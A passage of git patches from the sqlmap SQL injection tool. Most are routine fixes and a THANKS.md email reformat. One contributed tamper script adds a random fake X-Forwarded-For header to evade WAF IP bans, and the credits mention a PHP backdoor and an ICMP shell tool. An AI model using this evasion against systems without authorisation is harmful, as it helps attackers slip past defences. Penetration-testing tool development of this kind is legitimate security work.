forceOutput=True) kb.threadContinue = False kb.threadException = True From 6888d2fc34a05f14f45096132128965503f1ed42 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 16 Sep 2014 16:32:54 +0200 Subject: [PATCH 479/889] Minor cosmetic update --- lib/parse/cmdline.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/parse/cmdline.py b/lib/parse/cmdline.py index 5232bec76..b2d736afe 100644 --- a/lib/parse/cmdline.py +++ b/lib/parse/cmdline.py @@ -838,7 +838,7 @@ def cmdLineParser(): if argv[i] == "-hh": argv[i] = "-h" elif argv[i] == "--version": - print VERSION_STRING + print VERSION_STRING.split('/')[-1] raise SystemExit elif argv[i] == "-h": advancedHelp = False From bbc6dd9ac8c332b418a3bbd689dc5a9b15387002 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 17 Sep 2014 10:28:18 +0200 Subject: [PATCH 480/889] Minor fix --- lib/core/shell.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/core/shell.py b/lib/core/shell.py index 4cb05cdd2..d1f1f1dca 100644 --- a/lib/core/shell.py +++ b/lib/core/shell.py @@ -43,7 +43,7 @@ def saveHistory(completion=None): historyPath = paths.SQLMAP_SHELL_HISTORY try: - with open(historyPath, "rw+") as f: + with open(historyPath, "w+") as f: f.truncate() except: pass From 09064a4a24d96eda3595e649b40c7c2837d48174 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 17 Sep 2014 18:25:24 +0200 Subject: [PATCH 481/889] Minor just in case patch --- lib/core/shell.py | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) diff --git a/lib/core/shell.py b/lib/core/shell.py index d1f1f1dca..5653819d2 100644 --- a/lib/core/shell.py +++ b/lib/core/shell.py @@ -49,7 +49,11 @@ def saveHistory(completion=None): pass readline.set_history_length(MAX_HISTORY_LENGTH) - readline.write_history_file(historyPath) + try: + readline.write_history_file(historyPath) + except IOError, msg: + warnMsg = "there was a problem writing the history file '%s' (%s)" % (historyPath, msg) + logger.warn(warnMsg) def loadHistory(completion=None): if not readlineAvailable(): From 69701ba08c8874934f6dc20c1d78030735442450 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 17 Sep 2014 18:29:01 +0200 Subject: [PATCH 482/889] Minor refactoring --- lib/core/shell.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/core/shell.py b/lib/core/shell.py index 5653819d2..aeeea9e1f 100644 --- a/lib/core/shell.py +++ b/lib/core/shell.py @@ -44,7 +44,7 @@ def saveHistory(completion=None): try: with open(historyPath, "w+") as f: - f.truncate() + pass except: pass From d34a57041e4a9058ff886431cd54e9d2c17ec468 Mon Sep 17 00:00:00 2001 From: Mehmet INCE Date: Fri, 19 Sep 2014 20:59:33 +0300 Subject: [PATCH 483/889] Add random X-Forwarded-For to bypass IP Ban. --- tamper/randomfakeproxy.py | 40 +++++++++++++++++++++++++++++++++++++++ 1 file changed, 40 insertions(+) create mode 100644 tamper/randomfakeproxy.py diff --git a/tamper/randomfakeproxy.py b/tamper/randomfakeproxy.py new file mode 100644 index 000000000..65decde15 --- /dev/null +++ b/tamper/randomfakeproxy.py @@ -0,0 +1,40 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) +See the file 'doc/COPYING' for copying permission +""" + +from lib.core.enums import PRIORITY +from random import randrange +__priority__ = PRIORITY.NORMAL + +def dependencies(): + pass + +def generateIP(): + blockOne = randrange(0, 255, 1) + blockTwo = randrange(0, 255, 1) + blockThree = randrange(0, 255, 1) + blockFour = randrange(0, 255, 1) + if blockOne == 10: + return generateIP() + elif blockOne == 172: + return generateIP() + elif blockOne == 192: + return generateIP() + else: + return str(blockOne) + '.' + str(blockTwo) + '.' + str(blockThree) + '.' + str(blockFour) + +def tamper(payload, **kwargs): + """ + Append a HTTP Request Parameter to bypass + WAF (usually application based ) Ban + protection bypass. + + Mehmet INCE + """ + + headers = kwargs.get("headers", {}) + headers["X-Forwarded-For"] = generateIP() + return payload From 00fc842c6f94dea51780bbcb2a552a8e782ff4eb Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sat, 20 Sep 2014 10:20:57 +0200 Subject: [PATCH 484/889] Update agent.py --- lib/core/agent.py | 3 +++ 1 file changed, 3 insertions(+) diff --git a/lib/core/agent.py b/lib/core/agent.py index 923677b15..2df03da44 100644 --- a/lib/core/agent.py +++ b/lib/core/agent.py @@ -110,6 +110,9 @@ class Agent(object): paramString = origValue origValue = origValue.split(CUSTOM_INJECTION_MARK_CHAR)[0] origValue = origValue[origValue.index(',') + 1:] + match = re.search(r"([^;]+)=(?P[^;]+);?\Z", origValue) + if match: + origValue = match.group("value") if conf.prefix: value = origValue From 46480d777ad9f20c8c6391ea115a6ff17fdbd1e0 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sat, 20 Sep 2014 14:48:36 +0200 Subject: [PATCH 485/889] Update for an Issue #835 --- doc/THANKS.md | 3 +++ tamper/randomfakeproxy.py | 40 --------------------------------------- tamper/varnish.py | 2 +- tamper/xforwardedfor.py | 29 ++++++++++++++++++++++++++++ 4 files changed, 33 insertions(+), 41 deletions(-) delete mode 100644 tamper/randomfakeproxy.py create mode 100644 tamper/xforwardedfor.py diff --git a/doc/THANKS.md b/doc/THANKS.md index e90ff7f88..3878a18fb 100644 --- a/doc/THANKS.md +++ b/doc/THANKS.md @@ -226,6 +226,9 @@ Daniel Huckmann, Daliev Ilya, * for reporting a bug +Mehmet İnce, +* for contributing a tamper script xforwardedfor.py + Jovon Itwaru, * for reporting a minor bug diff --git a/tamper/randomfakeproxy.py b/tamper/randomfakeproxy.py deleted file mode 100644 index 65decde15..000000000 --- a/tamper/randomfakeproxy.py +++ /dev/null @@ -1,40 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission -""" - -from lib.core.enums import PRIORITY -from random import randrange -__priority__ = PRIORITY.NORMAL - -def dependencies(): - pass - -def generateIP(): - blockOne = randrange(0, 255, 1) - blockTwo = randrange(0, 255, 1) - blockThree = randrange(0, 255, 1) - blockFour = randrange(0, 255, 1) - if blockOne == 10: - return generateIP() - elif blockOne == 172: - return generateIP() - elif blockOne == 192: - return generateIP() - else: - return str(blockOne) + '.' + str(blockTwo) + '.' + str(blockThree) + '.' + str(blockFour) - -def tamper(payload, **kwargs): - """ - Append a HTTP Request Parameter to bypass - WAF (usually application based ) Ban - protection bypass. - - Mehmet INCE - """ - - headers = kwargs.get("headers", {}) - headers["X-Forwarded-For"] = generateIP() - return payload diff --git a/tamper/varnish.py b/tamper/varnish.py index 48e94b20b..14f4c6728 100644 --- a/tamper/varnish.py +++ b/tamper/varnish.py @@ -14,7 +14,7 @@ def dependencies(): def tamper(payload, **kwargs): """ - Append a HTTP Request Parameter to bypass + Append a HTTP header 'X-originating-IP' to bypass WAF Protection of Varnish Firewall Notes: diff --git a/tamper/xforwardedfor.py b/tamper/xforwardedfor.py new file mode 100644 index 000000000..198c524ce --- /dev/null +++ b/tamper/xforwardedfor.py @@ -0,0 +1,29 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) +See the file 'doc/COPYING' for copying permission +""" + +from lib.core.enums import PRIORITY +from random import sample +__priority__ = PRIORITY.NORMAL + +def dependencies(): + pass + +def randomIP(): + numbers = [] + while not numbers or numbers[0] in (10, 172, 192): + numbers = sample(xrange(1, 255), 4) + return '.'.join(str(_) for _ in numbers) + +def tamper(payload, **kwargs): + """ + Append a fake HTTP header 'X-Forwarded-For' to bypass + WAF (usually application based) protection + """ + + headers = kwargs.get("headers", {}) + headers["X-Forwarded-For"] = randomIP() + return payload From 6945a0a5707bf16aa482fd7c0a018a9832fdba28 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sat, 20 Sep 2014 14:52:14 +0200 Subject: [PATCH 486/889] Changing @ with (at) in THANKS.md --- doc/THANKS.md | 480 +++++++++++++++++++++++++------------------------- 1 file changed, 240 insertions(+), 240 deletions(-) diff --git a/doc/THANKS.md b/doc/THANKS.md index 3878a18fb..b56820891 100644 --- a/doc/THANKS.md +++ b/doc/THANKS.md @@ -1,780 +1,780 @@ # Individuals -Andres Tarasco Acuna, +Andres Tarasco Acuna, * for suggesting a feature -Santiago Accurso, +Santiago Accurso, * for reporting a bug -Syed Afzal, +Syed Afzal, * for contributing a WAF script varnish.py -Zaki Akhmad, +Zaki Akhmad, * for suggesting a couple of features -Olu Akindeinde, +Olu Akindeinde, * for reporting a couple of bugs -David Alvarez, +David Alvarez, * for reporting a bug -Sergio Alves, +Sergio Alves, * for reporting a bug -Thomas Anderson, +Thomas Anderson, * for reporting a bug -Chip Andrews, +Chip Andrews, * for his excellent work maintaining the SQL Server versions database at SQLSecurity.com and permission to implement the update feature taking data from his site -Smith Andy, +Smith Andy, * for suggesting a feature -Otavio Augusto, +Otavio Augusto, * for reporting a minor bug -Simon Baker, +Simon Baker, * for reporting some bugs -Ryan Barnett, +Ryan Barnett, * for organizing the ModSecurity SQL injection challenge, http://modsecurity.org/demo/challenge.html -Emiliano Bazaes, +Emiliano Bazaes, * for reporting a minor bug -Daniele Bellucci, +Daniele Bellucci, * for starting sqlmap project and developing it between July and August 2006 -Sebastian Bittig, and the rest of the team at r-tec IT Systeme GmbH +Sebastian Bittig, and the rest of the team at r-tec IT Systeme GmbH * for contributing the DB2 support initial patch: fingerprint and enumeration -Anthony Boynes, +Anthony Boynes, * for reporting several bugs Marcelo Toscani Brandao * for reporting a bug -Velky Brat, +Velky Brat, * for suggesting a minor enhancement to the bisection algorithm -James Briggs, +James Briggs, * for suggesting a minor enhancement -Gianluca Brindisi, +Gianluca Brindisi, * for reporting a couple of bugs -Jack Butler, +Jack Butler, * for contributing the sqlmap site favicon -Ulisses Castro, +Ulisses Castro, * for reporting a bug -Roberto Castrogiovanni, +Roberto Castrogiovanni, * for reporting a minor bug -Cesar Cerrudo, +Cesar Cerrudo, * for his Windows access token kidnapping tool Churrasco included in sqlmap tree as a contrib library and used to run the stand-alone payload stager on the target Windows machine as SYSTEM user if the user wants to perform a privilege escalation attack, http://www.argeniss.com/research/TokenKidnapping.pdf -Karl Chen, +Karl Chen, * for contributing the initial multi-threading patch for the inference algorithm -Y P Chien, +Y P Chien, * for reporting a minor bug -Pierre Chifflier, and Mark Hymers, +Pierre Chifflier, and Mark Hymers, * for uploading and accepting the sqlmap Debian package to the official Debian project repository -Hysia Chow +Hysia Chow * for contributing a couple of WAF scripts -Chris Clements, +Chris Clements, * for reporting a couple of bugs -John Cobb, +John Cobb, * for reporting a minor bug -Andreas Constantinides, +Andreas Constantinides, * for reporting a minor bug -Andre Costa, +Andre Costa, * for reporting a minor bug * for suggesting a minor enhancement -Ulises U. Cune, +Ulises U. Cune, * for reporting a bug -Alessandro Curio, +Alessandro Curio, * for reporting a minor bug -Alessio Dalla Piazza, +Alessio Dalla Piazza, * for reporting a couple of bugs -Sherif El-Deeb, +Sherif El-Deeb, * for reporting a minor bug -Stefano Di Paola, +Stefano Di Paola, * for suggesting good features -Mosk Dmitri, +Mosk Dmitri, * for reporting a minor bug -Meng Dong, +Meng Dong, * for contributing a code for Waffit integration -Carey Evans, +Carey Evans, * for his fcrypt module that allows crypt(3) support on Windows platforms -Shawn Evans, +Shawn Evans, * for suggesting an idea for one tamper script, greatest.py -Adam Faheem, +Adam Faheem, * for reporting a few bugs -James Fisher, +James Fisher, * for contributing two very good feature requests * for his great tool too brute force directories and files names on web/application servers, DirBuster, http://tinyurl.com/dirbuster -Jim Forster, +Jim Forster, * for reporting a bug -Rong-En Fan, +Rong-En Fan, * for commiting the sqlmap 0.5 port to the official FreeBSD project repository -Giorgio Fedon, +Giorgio Fedon, * for suggesting a speed improvement for bisection algorithm * for reporting a bug when running against Microsoft SQL Server 2005 -Kasper Fons, +Kasper Fons, * for reporting several bugs -Jose Fonseca, +Jose Fonseca, * for his Gprof2Dot utility for converting profiler output to dot graph(s) and for his XDot utility to render nicely dot graph(s), both included in sqlmap tree inside extra folder. These libraries are used for sqlmap development purposes only http://code.google.com/p/jrfonseca/wiki/Gprof2Dot http://code.google.com/p/jrfonseca/wiki/XDot -Alan Franzoni, +Alan Franzoni, * for helping me out with Python subprocess library -Harold Fry, +Harold Fry, * for suggesting a minor enhancement -Daniel G. Gamonal, +Daniel G. Gamonal, * for reporting a minor bug -Marcos Mateos Garcia, +Marcos Mateos Garcia, * for reporting a minor bug -Andrew Gecse, +Andrew Gecse, * for reporting a minor issue -Ivan Giacomelli, +Ivan Giacomelli, * for reporting a bug * for suggesting a minor enhancement * for reviewing the documentation -Nico Golde, +Nico Golde, * for reporting a couple of bugs -Oliver Gruskovnjak, +Oliver Gruskovnjak, * for reporting a bug * for contributing a minor patch -Davide Guerri, +Davide Guerri, * for suggesting an enhancement -Dan Guido, +Dan Guido, * for promoting sqlmap in the context of the Penetration Testing and Vulnerability Analysis class at the Polytechnic University of New York, http://isisblogs.poly.edu/courses/pentest/ -David Guimaraes, +David Guimaraes, * for reporting considerable amount of bugs * for suggesting several features -Chris Hall, +Chris Hall, * for coding the prettyprint.py library -Tate Hansen, +Tate Hansen, * for donating to sqlmap development -Mario Heiderich, -Christian Matthies, -Lars H. Strojny, +Mario Heiderich, +Christian Matthies, +Lars H. Strojny, * for their great tool PHPIDS included in sqlmap tree as a set of rules for testing payloads against IDS detection, http://php-ids.org -Kristian Erik Hermansen, +Kristian Erik Hermansen, * for reporting a bug * for donating to sqlmap development -Alexander Hagenah, +Alexander Hagenah, * for reporting a minor bug -Dennis Hecken, +Dennis Hecken, * for reporting a minor bug -Choi Ho, +Choi Ho, * for reporting a minor bug -Jorge Hoya, +Jorge Hoya, * for suggesting a minor enhancement -Will Holcomb, +Will Holcomb, * for his MultipartPostHandler class to handle multipart POST forms and permission to include it within sqlmap source code -Daniel Huckmann, +Daniel Huckmann, * for reporting a couple of bugs -Daliev Ilya, +Daliev Ilya, * for reporting a bug -Mehmet İnce, +Mehmet İnce, * for contributing a tamper script xforwardedfor.py -Jovon Itwaru, +Jovon Itwaru, * for reporting a minor bug -Prashant Jadhav, +Prashant Jadhav, * for reporting a bug -Dirk Jagdmann, +Dirk Jagdmann, * for reporting a typo in the documentation -Luke Jahnke, +Luke Jahnke, * for reporting a bug when running against MySQL < 5.0 -Andrew Kitis +Andrew Kitis * for contributing a tamper script lowercase.py -David Klein, +David Klein, * for reporting a minor code improvement -Sven Klemm, +Sven Klemm, * for reporting two minor bugs with PostgreSQL -Anant Kochhar, +Anant Kochhar, * for providing with feedback on the user's manual -Dmitriy Kononov, +Dmitriy Kononov, * for reporting a minor bug -Alexander Kornbrust, +Alexander Kornbrust, * for reporting a couple of bugs -Krzysztof Kotowicz, +Krzysztof Kotowicz, * for reporting a minor bug -Nicolas Krassas, +Nicolas Krassas, * for reporting a couple of bugs -Oliver Kuckertz, +Oliver Kuckertz, * for contributing a minor patch -Alex Landa, +Alex Landa, * for contributing a patch adding beta support for XML output -Guido Landi, +Guido Landi, * for reporting a couple of bugs * for the great technical discussions * for Microsoft SQL Server 2000 and Microsoft SQL Server 2005 'sp_replwritetovarbin' stored procedure heap-based buffer overflow (MS09-004) exploit development * for presenting with me at SOURCE Conference 2009 in Barcelona (Spain) on September 21, 2009 and at CONfidence 2009 in Warsaw (Poland) on November 20, 2009 -Lee Lawson, +Lee Lawson, * for reporting a minor bug -John J. Lee, and others +John J. Lee, and others * for developing the clientform Python library used by sqlmap to parse forms when --forms switch is specified -Nico Leidecker, +Nico Leidecker, * for providing with feedback on a few features * for reporting a couple of bugs * for his great tool icmpsh included in sqlmap tree to get a command prompt via an out-of-band tunnel over ICMP, http://leidecker.info/downloads/icmpsh.zip -Gabriel Lima, +Gabriel Lima, * for reporting a couple of bugs -Svyatoslav Lisin, +Svyatoslav Lisin, * for suggesting a minor feature -Miguel Lopes, +Miguel Lopes, * for reporting a minor bug -Truong Duc Luong, +Truong Duc Luong, * for reporting a minor bug -Pavol Luptak, +Pavol Luptak, * for reporting a bug when injecting on a POST data parameter -Till Maas, +Till Maas, * for suggesting a minor feature -Michael Majchrowicz, +Michael Majchrowicz, * for extensively beta-testing sqlmap on various MySQL DBMS * for providing really appreciated feedback * for suggesting a lot of ideas and features -Vinícius Henrique Marangoni, +Vinícius Henrique Marangoni, * for contributing a Portuguese translation of README.md -Ahmad Maulana, +Ahmad Maulana, * for contributing a tamper script halfversionedmorekeywords.py -Ferruh Mavituna, +Ferruh Mavituna, * for exchanging ideas on the implementation of a couple of features -David McNab, +David McNab, * for his XMLObject module that allows XML files to be operated on like Python objects -Spencer J. McIntyre, +Spencer J. McIntyre, * for reporting a minor bug * for contributing a patch for OS fingerprinting on DB2 -Brad Merrell, +Brad Merrell, * for reporting a minor bug -Michael Meyer, +Michael Meyer, * for suggesting a minor feature -Enrico Milanese, +Enrico Milanese, * for reporting a minor bug * for sharing some ideas for the PHP backdoor -Liran Mimoni, +Liran Mimoni, * for reporting a minor bug -Marco Mirandola, +Marco Mirandola, * for reporting a minor bug -Devon Mitchell, +Devon Mitchell, * for reporting a minor bug -Anton Mogilin, +Anton Mogilin, * for reporting a few bugs -Sergio Molina, +Sergio Molina, * for reporting a minor bug -Anastasios Monachos, +Anastasios Monachos, * for providing some useful data * for suggesting a feature * for reporting a couple of bugs -Kirill Morozov, +Kirill Morozov, * for reporting a bug * for suggesting a feature -Alejo Murillo Moya, +Alejo Murillo Moya, * for reporting a minor bug * for suggesting a few features -Yonny Mutai, +Yonny Mutai, * for reporting a minor bug -Roberto Nemirovsky, +Roberto Nemirovsky, * for pointing me out some enhancements -Simone Onofri, +Simone Onofri, * for patching the PHP web backdoor to make it work properly also on Windows -Michele Orru, +Michele Orru, * for reporting a couple of bug * for suggesting ideas on how to implement the RESTful API -Shaohua Pan, +Shaohua Pan, * for reporting several bugs * for suggesting a few features -Antonio Parata, +Antonio Parata, * for sharing some ideas for the PHP backdoor -Adrian Pastor, +Adrian Pastor, * for donating to sqlmap development -Christopher Patten, +Christopher Patten, * for reporting a bug in the blind SQL injection bisection algorithm -Zack Payton, +Zack Payton, * for reporting a minor bug -Jaime Penalba, +Jaime Penalba, * for contributing a patch for INSERT/UPDATE generic boundaries -Pedrito Perez, <0ark1ang3l@gmail.com> +Pedrito Perez, <0ark1ang3l(at)gmail.com> * for reporting a couple of bugs -Brandon Perry, +Brandon Perry, * for reporting a couple of bugs -Travis Phillips, +Travis Phillips, * for suggesting a minor enhancement -Mark Pilgrim, +Mark Pilgrim, * for porting chardet package (Universal Encoding Detector) to Python -Steve Pinkham, +Steve Pinkham, * for suggesting a feature * for contributing a new SQL injection vector (MSSQL time-based blind) * for donating to sqlmap development -Adam Pridgen, +Adam Pridgen, * for suggesting some features -Luka Pusic, +Luka Pusic, * for reporting a couple of bugs -Ole Rasmussen, +Ole Rasmussen, * for reporting a bug * for suggesting a feature -Alberto Revelli, +Alberto Revelli, * for inspiring me to write sqlmap user's manual in SGML * for his great Microsoft SQL Server take over tool, sqlninja, http://sqlninja.sourceforge.net -David Rhoades, +David Rhoades, * for reporting a bug -Andres Riancho, +Andres Riancho, * for beta-testing sqlmap * for reporting a bug and suggesting some features * for including sqlmap in his great web application audit and attack framework, w3af, http://w3af.sourceforge.net * for suggesting a way for handling DNS caching -Jamie Riden, +Jamie Riden, * for reporting a minor bug -Alexander Rigbo, +Alexander Rigbo, * for contributing a minor patch -Antonio Riva, +Antonio Riva, * for reporting a bug when running with python 2.5 -Ethan Robish, +Ethan Robish, * for reporting a bug -Levente Rog, +Levente Rog, * for reporting a minor bug -Andrea Rossi, +Andrea Rossi, * for reporting a minor bug * for suggesting a feature -Frederic Roy, +Frederic Roy, * for reporting a couple of bugs -Vladimir Rutsky, +Vladimir Rutsky, * for suggesting a couple of minor enhancements -Richard Safran, +Richard Safran, * for donating the sqlmap.org domain -Tomoyuki Sakurai, +Tomoyuki Sakurai, * for submitting to the FreeBSD project the sqlmap 0.5 port -Roberto Salgado, +Roberto Salgado, * for contributing considerable amount of tamper scripts -Pedro Jacques Santos Santiago, +Pedro Jacques Santos Santiago, * for reporting considerable amount of bugs -Marek Sarvas, +Marek Sarvas, * for reporting several bugs -Philippe A. R. Schaeffer, +Philippe A. R. Schaeffer, * for reporting a minor bug -Mohd Zamiri Sanin, +Mohd Zamiri Sanin, * for reporting a minor bug -Jorge Santos, +Jorge Santos, * for reporting a minor bug -Sven Schluter, +Sven Schluter, * for contributing a patch * for waiting a number of seconds between each HTTP request -Ryan Sears, +Ryan Sears, * for suggesting a couple of enhancements * for donating to sqlmap development -Uemit Seren, +Uemit Seren, * for reporting a minor adjustment when running with python 2.6 -Shane Sewell, +Shane Sewell, * for suggesting a feature -Ahmed Shawky, +Ahmed Shawky, * for reporting a major bug with improper handling of parameter values * for reporting a bug -Brian Shura, +Brian Shura, * for reporting a bug -Sumit Siddharth, +Sumit Siddharth, * for sharing ideas on the implementation of a couple of features -Andre Silva, +Andre Silva, * for reporting a bug -Benjamin Silva H. +Benjamin Silva H. * for reporting a bug -Duarte Silva +Duarte Silva * for reporting a couple of bugs -M Simkin, +M Simkin, * for suggesting a feature -Konrads Smelkovs, +Konrads Smelkovs, * for reporting a few bugs in --sql-shell and --sql-query on Microsoft SQL Server -Chris Spencer, +Chris Spencer, * for reviewing the user's manual grammar -Michael D. Stenner, +Michael D. Stenner, * for his keepalive module that allows handling of persistent HTTP 1.1 keep-alive connections -Marek Stiefenhofer, +Marek Stiefenhofer, * for reporting a few bugs -Jason Swan, +Jason Swan, * for reporting a bug when enumerating columns on Microsoft SQL Server * for suggesting a couple of improvements -Chilik Tamir, +Chilik Tamir, * for contributing a patch for initial support SOAP requests -Alessandro Tanasi, +Alessandro Tanasi, * for extensively beta-testing sqlmap * for suggesting many features and reporting some bugs * for reviewing the documentation -Andres Tarasco, +Andres Tarasco, * for contributing good feedback -Tom Thumb, +Tom Thumb, * for reporting a major bug -Kazim Bugra Tombul, +Kazim Bugra Tombul, * for reporting a minor bug -Efrain Torres, +Efrain Torres, * for helping me out to improve the Metasploit Framework sqlmap auxiliary module and for commiting it on the Metasploit official subversion repository * for his great Metasploit WMAP Framework -Sandro Tosi, +Sandro Tosi, * for helping to create sqlmap Debian package correctly -Jacco van Tuijl, +Jacco van Tuijl, * for reporting several bugs -Vitaly Turenko, +Vitaly Turenko, * for reporting a bug -Augusto Urbieta, +Augusto Urbieta, * for reporting a minor bug -Bedirhan Urgun, +Bedirhan Urgun, * for reporting a few bugs * for suggesting some features and improvements * for benchmarking sqlmap in the context of his SQL injection benchmark project, OWASP SQLiBench, http://code.google.com/p/sqlibench -Kyprianos Vasilopoulos, +Kyprianos Vasilopoulos, * for reporting a couple of minor bugs -Vlado Velichkovski, +Vlado Velichkovski, * for reporting considerable amount of bugs * for suggesting an enhancement -Johnny Venter, +Johnny Venter, * for reporting a couple of bugs -Carlos Gabriel Vergara, +Carlos Gabriel Vergara, * for suggesting couple of good features -Patrick Webster, +Patrick Webster, * for suggesting an enhancement -Ed Williams, +Ed Williams, * for suggesting a minor enhancement -Anthony Zboralski, +Anthony Zboralski, * for providing with detailed feedback * for reporting a few minor bugs * for donating to sqlmap development -Thierry Zoller, +Thierry Zoller, * for reporting a couple of major bugs -Zhen Zhou, +Zhen Zhou, * for suggesting a feature --insane-, +-insane-, * for reporting a minor bug -1ndr4 joe, +1ndr4 joe, * for reporting a couple of bugs -abc abc, +abc abc, * for reporting a minor bug -Abuse 007, +Abuse 007, * for reporting a bug -Alex, +Alex, * for reporting a minor bug -anonymous anonymous, +anonymous anonymous, * for reporting a couple of bugs -bamboo, +bamboo, * for reporting a couple of bugs -Brandon E., +Brandon E., * for reporting a bug -black zero, +black zero, * for reporting a minor bug -blueBoy, +blueBoy, * for reporting a bug -buawig, +buawig, * for reporting considerable amount of bugs -Bugtrace, +Bugtrace, * for reporting several bugs -cats, +cats, * for reporting a couple of bugs -Christian S, +Christian S, * for reporting a minor bug -clav, +clav, * for reporting a minor bug -dragoun dash, +dragoun dash, * for reporting a minor bug -fufuh, +fufuh, * for reporting a bug when running on Windows -Hans Wurst, +Hans Wurst, * for reporting a couple of bugs -james, +james, * for reporting a bug -Joe "Pragmatk", +Joe "Pragmatk", * for reporting a few bugs -John Smith, +John Smith, * for reporting several bugs * for suggesting some features -m4l1c3, +m4l1c3, * for reporting considerable amount of bugs -mariano, +mariano, * for reporting a bug -mitchell, +mitchell, * for reporting a few bugs -Nadzree, +Nadzree, * for reporting a minor bug -nightman, +nightman, * for reporting considerable amount of bugs -Oso Dog osodog123@yahoo.com +Oso Dog osodog123(at)yahoo.com * for reporting a minor bug -pacman730, +pacman730, * for reporting a bug -pentestmonkey, +pentestmonkey, * for reporting several bugs * for suggesting a few minor enhancements -Phat R., +Phat R., * for reporting a few bugs -Phil P, <@superevr> +Phil P, <(at)superevr> * for suggesting a minor enhancement -ragos, +ragos, * for reporting a minor bug -rmillet, +rmillet, * for reporting a bug -Rub3nCT, +Rub3nCT, * for reporting a minor bug -shiftzwei, +shiftzwei, * for reporting a couple of bugs -smith, +smith, * for reporting a minor bug -Soma Cruz, +Soma Cruz, * for reporting a minor bug -Stuffe, +Stuffe, * for reporting a minor bug and a feature request -Sylphid, +Sylphid, * for suggesting some features -syssecurity.info, +syssecurity.info, * for reporting a minor bug -This LittlePiggy, +This LittlePiggy, * for reporting a minor bug -ToR, +ToR, * for reporting considerable amount of bugs * for suggesting a feature -ultramegaman, +ultramegaman, * for reporting a minor bug -Vinicius, +Vinicius, * for reporting a minor bug -wanglei, +wanglei, * for reporting a minor bug -warninggp, +warninggp, * for reporting a few minor bugs -x, +x, * for reporting a bug -zhouhx, +zhouhx, * for contributing a minor patch # Organizations -Black Hat team, +Black Hat team, * for the opportunity to present my research titled 'Advanced SQL injection to operating system full control' at Black Hat Europe 2009 Briefings on April 16, 2009 in Amsterdam (NL). I unveiled and demonstrated some of the sqlmap 0.7 release candidate version new features during my presentation * Homepage: http://goo.gl/BKfs7 * Slides: http://goo.gl/Dh65t * White paper: http://goo.gl/spX3N -SOURCE Conference team, +SOURCE Conference team, * for the opportunity to present my research titled 'Expanding the control over the operating system from the database' at SOURCE Conference 2009 on September 21, 2009 in Barcelona (ES). I unveiled and demonstrated some of the sqlmap 0.8 release candidate version new features during my presentation * Homepage: http://goo.gl/IeXV4 * Slides: http://goo.gl/OKnfj -AthCon Conference team, +AthCon Conference team, * for the opportunity to present my research titled 'Got database access? Own the network!' at AthCon Conference 2010 on June 3, 2010 in Athens (GR). I unveiled and demonstrated some of the sqlmap 0.8 version features during my presentation * Homepage: http://goo.gl/Fs71I * Slides: http://goo.gl/QMfjO -Metasploit Framework development team, +Metasploit Framework development team, * for their powerful tool Metasploit Framework, used by sqlmap, among others things, to create the shellcode and establish an out-of-band connection between sqlmap and the database server * Homepage: http://www.metasploit.com -OWASP Board, +OWASP Board, * for sponsoring part of the sqlmap development in the context of OWASP Spring of Code 2007 * Homepage: http://www.owasp.org From f272517cd24c45dc914b207c28695cfc070dabef Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 22 Sep 2014 22:18:08 +0200 Subject: [PATCH 487/889] Dealing with broken pipe (not filling terminal with traceback in that case) --- thirdparty/ansistrm/ansistrm.py | 2 ++ 1 file changed, 2 insertions(+) diff --git a/thirdparty/ansistrm/ansistrm.py b/thirdparty/ansistrm/ansistrm.py index eb30b9c6d..95d2b00be 100644 --- a/thirdparty/ansistrm/ansistrm.py +++ b/thirdparty/ansistrm/ansistrm.py @@ -62,6 +62,8 @@ class ColorizingStreamHandler(logging.StreamHandler): self.flush() except (KeyboardInterrupt, SystemExit): raise + except IOError: + pass except: self.handleError(record) From 767c278a0fb74ebe57dd3c99dd2ac697f91f67e9 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 26 Sep 2014 17:00:38 +0200 Subject: [PATCH 488/889] Fix for an Issue #838 --- lib/request/connect.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/request/connect.py b/lib/request/connect.py index 2eab46815..32e43eb42 100644 --- a/lib/request/connect.py +++ b/lib/request/connect.py @@ -385,7 +385,7 @@ class Connect(object): conn = urllib2.urlopen(req) - if not kb.authHeader and getRequestHeader(req, HTTP_HEADER.AUTHORIZATION) and conf.authType.lower() == AUTH_TYPE.BASIC.lower(): + if not kb.authHeader and getRequestHeader(req, HTTP_HEADER.AUTHORIZATION) and (conf.authType or "").lower() == AUTH_TYPE.BASIC.lower(): kb.authHeader = getRequestHeader(req, HTTP_HEADER.AUTHORIZATION) if not kb.proxyAuthHeader and getRequestHeader(req, HTTP_HEADER.PROXY_AUTHORIZATION): From 1e636fb925a73d92f8b9c48a156c1d5e52df9d9a Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sun, 28 Sep 2014 13:38:09 +0200 Subject: [PATCH 489/889] Minor patch regarding Issue #840 --- lib/request/connect.py | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/lib/request/connect.py b/lib/request/connect.py index 32e43eb42..d0512b8b5 100644 --- a/lib/request/connect.py +++ b/lib/request/connect.py @@ -768,7 +768,7 @@ class Connect(object): if conf.evalCode: delimiter = conf.paramDel or DEFAULT_GET_POST_DELIMITER - variables = {} + variables = {"uri": uri} originals = {} for item in filter(None, (get, post if not kb.postHint else None)): @@ -787,6 +787,7 @@ class Connect(object): originals.update(variables) evaluateCode(conf.evalCode, variables) + uri = variables["uri"] for name, value in variables.items(): if name != 